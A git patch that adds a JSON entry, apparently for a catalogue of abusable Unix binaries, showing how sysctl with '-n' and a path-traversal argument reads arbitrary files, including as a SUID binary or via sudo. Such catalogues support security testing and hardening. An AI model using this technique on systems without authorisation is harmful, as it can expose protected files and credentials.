From 68c76a05227c0652bc84e616ad7ef5e6456cf183 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Thu, 11 Jun 2020 20:04:46 +0200 Subject: [PATCH] add data source for sysctl --- data/sysctl.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/sysctl.json diff --git a/data/sysctl.json b/data/sysctl.json new file mode 100644 index 0000000..ac4fe27 --- /dev/null +++ b/data/sysctl.json @@ -0,0 +1,20 @@ +{ + "description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.", + "functions": { + "file-read": [ + { + "code": "/usr/sbin/sysctl -n \"/../../[file]\"\n" + } + ], + "suid": [ + { + "code": "./sysctl -n \"/../../[file]\"\n" + } + ], + "sudo": [ + { + "code": "sudo sysctl -n \"/../../[file]\"\n" + } + ] + } +} \ No newline at end of file